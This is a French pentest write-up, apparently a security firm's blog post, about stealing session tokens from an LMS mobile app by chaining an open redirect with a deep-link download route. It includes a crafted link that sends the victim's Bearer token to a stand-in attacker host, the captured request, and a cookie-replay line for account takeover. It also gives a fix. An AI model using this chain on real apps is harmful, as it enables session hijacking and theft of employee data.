Voler une session avec un lien et un clic
Un client de Formae reçoit un lien : https://app.formae.com/…. Ce dernier correspond complètement au domaine de l’application, aucun souci à se faire. La victime clique sur le lien sur son téléphone, l’application Formae s’ouvre toute seule, et pendant un simple chargement, son jeton de session part sur notre serveur. Aucune installation nécessaire de son côté, aucune fenêtre suspecte, non, juste un clic sur un lien de confiance.
Quelques secondes plus tard, on rejoue ce jeton dans un navigateur et on se retrouve connecté sur son compte.
Le client : un éditeur de LMS, une plateforme de formation en ligne utilisée en entreprise (on l’appellera Formae pour des raisons d’anonymat). Le périmètre de la mission : uniquement la couche mobile, les applications Android et iOS. Pas l’API, pas le site web.
L’article va parler d’une faille, qui ressemble étrangement à une XSS côté web, mais qui pourtant ne fonctionne pas du tout de la même manière.
Une application mobile, un périmètre que nous ne considérons pas souvent
Généralement, quand on parle de pentest, on pense surtout au web. En effet, sur le web, tout est ouvert. Juste en ouvrant les outils de développement sur notre navigateur, on accède à toute une panoplie d’outils qui permettent de voir les requêtes qui partent, les fichiers JS, les cookies, etc. Ajoutez à ça une extension et vous pouvez faire encore bien plus (un bloqueur de pub, par exemple, qui réécrit la page à la volée). Le navigateur est un terrain de jeu grand ouvert.
Quand on se retrouve sur notre téléphone, ce n’est pas du tout la même chose. On a une impression de sécurité, et plus particulièrement sur iOS avec son système très fermé qui nous empêche d’installer n’importe quoi. Côté Android c’est un peu le cas aussi, malgré un contournement de règles plus simple à appliquer. Une application sur votre téléphone, c’est une fenêtre que vous ouvrez sans informations en plus : pas de barre d’URL donc pas moyen d’aller sur d’autres pages sans autorisation, ou pas d’extension donc pas possible d’injecter du code, etc. Au final, on a cette impression de boîte fermée.
Résultat : on considère beaucoup moins la sécurité d’une application mobile. On se dit qu’il n’y a rien à faire, et pourtant, on peut vous démontrer le contraire.
Sur mobile, on ne cherche pas comme sur le web
Avant d’exploiter quoi que ce soit, encore faut-il savoir où regarder. Et là, la carte n’est pas la même que sur le web. L’OWASP, la grande référence du domaine, ne publie pas que son fameux Top 10 web : il existe aussi un OWASP Mobile Top 10, entièrement dédié aux applications. On y retrouve des familles de failles bien à elles : du stockage de données mal protégé (un jeton de connexion écrit en clair dans un coin de l’app), de la communication mal chiffrée, de la mauvaise authentification, ou encore de la validation d’entrée insuffisante.
Et c’est justement dans cette dernière catégorie que tombe notre trouvaille, la plus importante de tout l’audit : un vol de jeton de session déclenché par un simple lien. En un clic, la session est volée.
Reste à trouver la porte. Et pour ça, pas de DevTools. Sur mobile, on tente de lire l’application. Côté Android, un fichier .apk se décompile avec des outils comme jadx ou apktool : on récupère le code, et surtout le fameux AndroidManifest.xml, le fichier qui liste tous les liens que l’application accepte d’ouvrir de l’extérieur. Côté iOS, c’est plus complexe, mais l’idée reste la même. Au final, le décompilateur, c’est un peu notre DevTools du mobile : c’est lui qui nous ouvre la boîte fermée dont on parlait juste avant.
C’est donc après quelques instants qu’on tombe sur les routes de Formae. L’une d’elles, en particulier, avait un comportement plutôt permissif.
Le deep linking, c’est quoi au juste ?
Cette route un peu trop permissive, c’était ce qu’on appelle une route de deep link. Et avant de comprendre pourquoi elle pose problème, il faut d’abord comprendre ce qu’est un deep link.
Vous connaissez forcément, même sans le nom. Quand un ami vous envoie un lien YouTube ou TikTok par message et que vous cliquez dessus, ça n’ouvre pas le navigateur : ça lance directement l’application, sur la bonne vidéo. Ça, c’est le deep linking. L’idée, c’est de relier un lien à une application. Ce lien peut prendre deux formes : soit une vraie adresse https (par exemple https://app.formae.com/…), soit un schéma maison du genre com.formae://, propre à l’application.
Tout ça, c’est configuré par le développeur au moment de concevoir l’app. Et au départ, l’intention est bonne : améliorer l’expérience utilisateur, permettre d’agir un peu comme sur un navigateur, mais directement dans l’application, en arrivant pile au bon endroit.
Sauf que, sur le web comme sur mobile, c’est la même histoire : à partir du moment où un lien transporte de l’information, on peut y cacher un “payload”. Une instruction glissée dans le lien, que l’application va lire et exécuter sans se méfier, et qui peut très bien agir contre le gré de l’utilisateur. C’est exactement ce qu’on a fait ici.
L’attaque, étape par étape
Reprenons le lien du tout début. Sauf que cette fois, on regarde vraiment ce qu’il y a dedans :
https://app.formae.com/api/track/click?url=https://attaquant.test/downloads/certificate/8f3c
Au premier coup d’œil, rien d’alarmant. Ça commence par app.formae.com, le vrai domaine de la plateforme. C’est ça qui rend le lien crédible pour la victime, et c’est ça qui dit au téléphone d’ouvrir l’application. Mais ce vol de jeton, ce n’est pas une seule faille, c’est un enchaînement de deux petits défauts qui, mis bout à bout, peuvent être impactants.
Étape 1 : la redirection ouverte. La route /api/track/click, normalement, elle sert juste à tracer les clics dans les emails de notification. Elle prend le paramètre url et redirige vers lui. Le problème, c’est qu’elle ne vérifie jamais le domaine de destination. On lui donne notre adresse à nous, et l’application la suit sans poser de questions. Le domaine de confiance n’aura donc servi que de point d’entrée, juste assez pour que l’application accepte d’ouvrir le lien et de le suivre.
Étape 2 : la route de téléchargement. L’adresse vers laquelle on vient d’être redirigé (https://attaquant.test/downloads/certificate/8f3c) correspond à une autre route de l’application, celle qui télécharge un certificat de formation. Pour aller chercher le fichier, cette route garde le domaine du lien qu’on lui a donné et reconstruit le chemin vers son API interne (/api/documents/certificate/8f3c). Le chemin reste donc celui de Formae, mais le domaine, lui, est devenu le nôtre, si bien que l’application s’apprête à télécharger un certificat sur notre serveur.
Étape 3 : le piège se referme. C’est ici que tout se joue. Dans Formae, chaque requête sortante embarque automatiquement le jeton de connexion de l’utilisateur dans un en-tête Authorization: Bearer, sans aucune exception, y compris cette requête-là, celle qui part vers notre serveur.
Résultat : l’application vient télécharger un fichier sur notre machine, en y joignant le jeton de la victime.
Pour le prouver, on met en place de notre côté un simple serveur qui enregistre tout ce qu’il reçoit. Ensuite, on se place exactement dans les conditions d’une vraie victime : on s’envoie à soi-même un email contenant le lien piégé, puis on clique dessus depuis le téléphone, aussi bien sur Android que sur iOS. Dans les deux cas, l’application s’ouvre, et sur notre serveur, on voit arriver ceci :
# Ce que reçoit notre serveur piégé
GET /api/documents/certificate/8f3c HTTP/1.1
Host: attaquant.test
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...
Et voilà le jeton de session de la victime, récupéré sur notre serveur, exactement le même que celui que l’application utilise pour communiquer avec l’API. Une précision sur le fonctionnement : cette logique de routage est écrite une seule fois, dans un code partagé entre Android et iOS, ce qui explique que les deux plateformes se comportent de façon identique. Dans les deux cas, le lien ouvre directement l’application et l’exfiltration se déroule dans le silence le plus complet, sans la moindre alerte pour la victime.
Du jeton volé à la prise de contrôle du compte
Reste à savoir ce qu’on fait, concrètement, de ce jeton. On le rejoue, tout simplement, et l’opération ne demande même aucun outil offensif particulier.
On ouvre app.formae.com dans un navigateur, on ouvre les outils de développement, et on remplace la valeur de notre cookie de session par le jeton qu’on vient de voler sur mobile :
document.cookie = "token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...";
On rafraîchit la page, on se retrouve sur le compte de la victime, et on accède à son profil, ses formations, ses messages, son équipe, etc.
Pourquoi est-ce que ça fonctionne aussi facilement ? Parce que l’API accepte exactement le même jeton des deux côtés : en Authorization: Bearer quand c’est l’application mobile qui parle, et dans un cookie quand c’est le navigateur. Rien ne distingue les deux usages, ni vérification d’adresse IP, ni empreinte de l’appareil, si bien qu’un jeton reste un jeton, peu importe d’où il vient.

Envie de reproduire l’attaque ? Le code de cette démonstration, l’app Android et le serveur récepteur, est open source : https://github.com/HDW-Sec/formae-deeplink-android-poc.
La XSS, version mobile
Si vous faites du web, tout ça doit vous dire quelque chose. Un lien piégé hébergé sur un domaine de confiance, un clic, quelque chose qui s’exécute à l’insu de l’utilisateur connecté, et la session qui s’envole. C’est la signature de la XSS, cette faille web où un lien malveillant fait exécuter du code dans votre navigateur pour repartir avec votre session.
La différence ? Sur le web, le code injecté est du JavaScript, qui lit votre cookie et l’envoie ailleurs. Sur mobile, nous n’injectons aucun code de ce type : ce que nous glissons dans le deep link, c’est simplement un chemin, que l’application interprète ensuite comme une instruction légitime. Mais pour la victime, l’expérience reste exactement la même, elle clique sur un lien de confiance et se fait voler sa session.
Soyons toutefois précis : même si le résultat ressemble à s’y méprendre à une XSS, il ne s’agit pas d’une XSS au sens strict. Ce que nous exploitons, c’est l’enchaînement d’une redirection ouverte (un grand classique du web, référencé sous la CWE-601) et d’une fuite de jeton, ce qui relève de l’exfiltration de credentials et non de l’exécution de code. Le vecteur et le ressenti côté victime sont bien ceux d’une XSS, mais le mécanisme sous-jacent, lui, est différent.
Le correctif tient en trois lignes
La bonne nouvelle, c’est que le correctif est vraiment simple. Le vrai problème, c’est cette couche réseau qui attache le jeton à absolument toutes les requêtes, sans jamais regarder où elles vont. Il suffit de lui apprendre à ne le faire que pour les domaines de confiance :
// Vulnérable : le jeton part sur toutes les requêtes, peu importe le domaine
fun onRequest(request: HttpRequest) {
request.headers["Authorization"] = "Bearer $accessToken"
}
// Corrigé : le jeton ne part que si le domaine est dans notre liste blanche
fun onRequest(request: HttpRequest) {
if (request.url.host.endsWith(".formae.com")) {
request.headers["Authorization"] = "Bearer $accessToken"
}
}
Une seule condition, trois lignes de code, et c’est tout ce qui séparait Formae d’un vol de session à grande échelle. Dans l’idéal, on corrige aussi la redirection ouverte en amont (en validant le paramètre url) et on vérifie le domaine d’entrée de la route de téléchargement. Mais si on ne devait garder qu’une seule chose, ce serait cette liste blanche sur le jeton.
Pourquoi 15 minutes ne vous sauvent pas
Il y a quand même une bonne nouvelle pour Formae : le jeton volé a une durée de vie courte, 15 minutes. On pourrait croire que le risque est limité, mais ce n’est pas vraiment le cas.
Première chose, le lien piégé reste valable indéfiniment, et chaque nouveau clic de la victime renvoie vers l’attaquant un jeton parfaitement valide. Mais surtout, ces 15 minutes suffisent largement à installer un accès durable, car l’attaquant peut mettre en place une automatisation qui, dès la réception d’un jeton, exécute immédiatement des actions sur le compte sans aucune intervention manuelle. Elle peut par exemple créer un nouveau compte administrateur qui, lui, survivra à l’expiration du jeton volé et transformera un accès de quelques minutes en accès permanent.
Maintenant, imaginez que la victime soit un administrateur de l’organisation. On ne parle alors plus d’un seul compte, mais de tous les collaborateurs de l’entreprise cliente. Et comme un LMS d’entreprise contient des données RH, des parcours de formation, des équipes et des messages internes, on tient là le genre de fuite qui finit en notification à la CNIL au titre du RGPD. Ce basculement, d’un accès individuel à une compromission totale, on l’a déjà raconté dans notre retour d’audit sur 9bank.
Pourquoi le mobile passe sous les radars
Cette faille avait tout pour passer inaperçue. Et ce n’est pas un hasard, plusieurs raisons l’expliquent.
D’abord, la logique est partagée entre les deux plateformes. Beaucoup d’applications modernes écrivent leur cœur une seule fois, puis le compilent pour Android et pour iOS. Pratique pour les équipes, mais quand le bug est dans ce cœur partagé, il est livré en double. Une erreur, deux applications vulnérables.
Ensuite, attacher le jeton à toutes les requêtes d’un coup simplifie nettement l’architecture, là où le gérer requête par requête serait bien plus lourd. C’est une approche parfaitement légitime, mais qui n’anticipe pas un cas comme le nôtre, où l’une de ces requêtes finit par partir vers une adresse détournée.
Et puis, personne n’audite vraiment cette couche de routage. On teste que les fonctionnalités marchent, que le bon lien ouvre le bon écran. Beaucoup plus rarement : qu’est-ce qu’il se passe si on lui envoie un lien malveillant, forgé spécialement pour la piéger ?
Enfin, il y a cette idée que le store nous protège. L’application a passé la validation d’Apple ou de Google, donc elle est forcément sûre, non ? Sauf que ces contrôles cherchent surtout des malwares et le respect des règles du store, pas la solidité de votre logique de deep link face à quelqu’un de mal intentionné. Ajoutez à ça du code de plus en plus généré sans véritable relecture de sécurité, vibe coding compris, et vous obtenez des routes de deep link écrites pour fonctionner, pas pour résister à une attaque.
Conclusion
On revient à la question du départ. Sur votre téléphone, vous vous sentez plus en sécurité que devant un navigateur, et c’est compréhensible : le système est fermé, l’application est validée par le store, et vous ne pouvez même pas toucher à l’URL. Tout cela est vrai, mais ne vous protège que d’une seule chose, aller fouiller vous-même dans l’application, en aucun cas d’un lien piégé que l’on vous envoie.
Et c’est sans doute le plus parlant : les briques de cette attaque sont de grands classiques du web, une redirection ouverte et un jeton qui part vers le mauvais domaine. Rien d’exotique, donc, si ce n’est qu’elles réapparaissent là où personne ne pense à les chercher, dans la couche deep link d’une application mobile.
Si votre entreprise a une application (un LMS, une FinTech, une application de santé, un outil RH, peu importe le secteur), la vraie question n’est pas de savoir si votre code mobile est différent, mais bien de savoir si vous l’avez audité aussi sérieusement que votre site web. Dans la plupart des cas que l’on rencontre, la réponse est non : le site a eu droit à son pentest, tandis que l’application, on s’est contenté de l’installer en lui faisant confiance.
Et même quand on décide d’auditer, toutes les approches ne se valent pas. Une chaîne comme celle-ci, faite de deux failles individuellement mineures, passe sous le radar des scanners automatiques, qui ne savent pas relier une redirection ouverte à une fuite de jeton. Pour la détecter, il faut la rejouer à la main, en s’appuyant sur des référentiels pensés pour le mobile, l’OWASP MASVS pour les critères à respecter et le MASTG pour les techniques de test. C’est exactement ce qu’on fait sur chaque audit.